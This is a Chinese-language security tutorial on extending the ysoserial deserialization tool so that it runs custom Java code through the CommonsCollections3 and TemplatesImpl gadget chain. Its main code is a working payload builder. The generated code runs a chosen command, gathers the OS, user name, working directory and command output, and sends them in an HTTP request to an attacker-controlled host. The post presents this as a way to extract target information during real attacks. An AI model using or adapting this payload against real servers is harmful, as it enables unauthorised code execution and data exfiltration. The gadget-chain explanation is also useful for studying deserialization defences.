ysoserial之执行自定义代码
ysoserial是测试反序列化的工具,一般在测试成功后都会选择执行命令,实战过程中,执行命令可能会受阻,这种情况下,也许可以通过代码执行达到目的。
作用
1、受限环境下获取目标信息。
2、解决各个平台命令不一致。
3、实现更复杂的操作。
分析
命令执行本质上也是代码执行,先分析下,命令执行是怎么触发的,这里选择CommonsCollections3这个payload,这里为什么要使用链式结构,原因其实很简单,因为无论是表达式解析执行还是反序列化时,底层通过反射技术获取对象调用函数都会存在一个上下文环境,使用链式结构的语句可以保证执行过程中这个上下文是一致的。

这里主要跟进Gadgets.createTemplatesImpl(command);,因为下面已经是利用链的构造,不涉及自定义代码的部分


这里templates是TemplatesImpl类的实例,使用这个类来加载恶意payload,为什么要使用这个类?因为TemplatesImpl类是一个可序列化的类,其中有一个属性_bytecodes,里面保存的数据在defineTransletClasses函数里将会被加载成类
获取一个ClassPool对象,将StubTransletPayload类和AbstractTranslet类添加到pool的类加载路径中,然后获取StubTransletPayload类,自定义的代码会被插入这个类的构造函数中

将命令执行插入StubTransletPayload类的构造函数中,设置父类AbstractTranslet,然后生成字节码

设置TemplatesImpl对象的_name,_tfactory,_bytecodes字段,将构造好的payload返回
ysoserial原本传进_bytecodes字段的是很简单的代码,用于执行命令,现在将他扩展下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 
 | public static String getmessage(String url,String command){
 String message = "try{\n" +
 "            String cmd = \"\";\n" +
 "            Process p = Runtime.getRuntime().exec(\""+ command +"\");\n" +
 "            java.io.InputStream fis=p.getInputStream();\n" +
 "            java.io.InputStreamReader isr=new java.io.InputStreamReader(fis,java.nio.charset.Charset.forName(\"GBK\"));\n" +
 "            java.io.BufferedReader br=new java.io.BufferedReader(isr);\n" +
 "            String line = null;\n" +
 "            while(( line=br.readLine())!=null)\n" +
 "            {\n" +
 "                cmd = cmd + line ;\n" +
 "            }\n" +
 "\n" +
 "            String os = System.getProperty(\"os.name\");\n" +
 "            String power = System.getProperty(\"user.name\");\n" +
 "            String WEB_PATH = System.getProperty(\"user.dir\");\n" +
 "            String url = \"http://" + url + "/info?os=\" + os +\"&path=\" + WEB_PATH + \"&power=\" + power + \"&cmd=\" + cmd;\n" +
 "            java.net.URL urls = new java.net.URL(url);\n" +
 "            java.net.URLConnection conn = urls.openConnection();\n" +
 "            conn.connect();\n" +
 "            conn.getContent();\n" +
 "        }catch(Exception e){\n" +
 "        }";
 return message;
 }
 
 | 

实现效果:

